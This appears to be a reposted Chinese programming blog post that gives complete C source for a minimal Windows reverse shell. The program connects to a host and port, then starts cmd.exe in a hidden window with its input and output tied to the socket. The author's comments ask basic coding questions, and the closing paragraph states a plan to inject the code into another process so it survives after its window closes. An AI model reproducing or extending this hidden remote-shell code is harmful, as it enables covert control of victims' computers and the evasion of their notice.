最简单的cmd_8.19

来源:互联网 发布:每天工作记录软件 编辑:程序博客网 时间:2024/06/07 02:25

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")


int  cmdshell(SOCKET s)
{
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 GetStartupInfo(&si);//为什么把这句话注释掉,整个程序就只会显示main函数中的字符,而不会出现cmdshell???

 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 si.wShowWindow=SW_HIDE;  //这个参数可以变化!!!自己试试
 si.hStdInput=si.hStdOutput=si.hStdError=(void*)s; //(void*)s是什么意思?强制转换?

 char path[512];
 GetSystemDirectory(path,sizeof(path));
 strcat(path,"//cmd.exe");

 int rev;
 rev=CreateProcess(NULL,path,NULL,NULL,1,0,NULL,NULL,&si,&pi);

 WaitForSingleObject(pi.hProcess,INFINITE);
 CloseHandle(pi.hProcess);
 return 0;

}

int main(int argc,char* argv[])
{
 WSADATA wsaData;
 if ( 0 !=WSAStartup( MAKEWORD( 2, 2 ), &wsaData )) {
  return 1;
 } 
 if ( LOBYTE( wsaData.wVersion ) != 2 ||
  HIBYTE( wsaData.wVersion ) != 2 ) {
  WSACleanup( );
   return 1;
   }

 
 SOCKET s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
 
 if (INVALID_SOCKET==s)
 {
  printf("Socket is error!/n");
  WSACleanup();
  return 1;
 }
 
 sockaddr_in sAddr;
 sAddr.sin_family=AF_INET;
 sAddr.sin_port=htons(1000);
 sAddr.sin_addr.S_un.S_addr= inet_addr("127.0.0.1");
 
 int rev=connect(s,(SOCKADDR*) &sAddr,sizeof(sAddr));
 if (SOCKET_ERROR==rev)
 {
  printf("Connect is error!/n");
  closesocket(s);
  WSACleanup();
  return 1;
 }
 
 char buf[512]="欢迎使用这个小东西!/n";
 rev=send(s,buf,strlen(buf),0);
 if (SOCKET_ERROR==rev)
 {
        printf("send() failed with error: %d/n", WSAGetLastError());
       closesocket(s);
        WSACleanup();
        return 1;
 }
 
  cmdshell(s);

 closesocket(s);
 WSACleanup(); //加了这两句,窗口退出的时候会自动关闭窗口!!
 
 return 0;
 
}

//为什么将cmdshell与main顺序换一下,就会有乱码产生?????

 

另外,在解决上面问题的基础上,这个代码目前还需要做如下的完善:要插入其他进程,否则,1:直接执行这个程序后关闭窗口,2:在命令行下运行这个程序,然后退出命令行。在上面两种情况下,这个程序会自己主动结束,下一步要搞定这个东西。

原创粉丝点击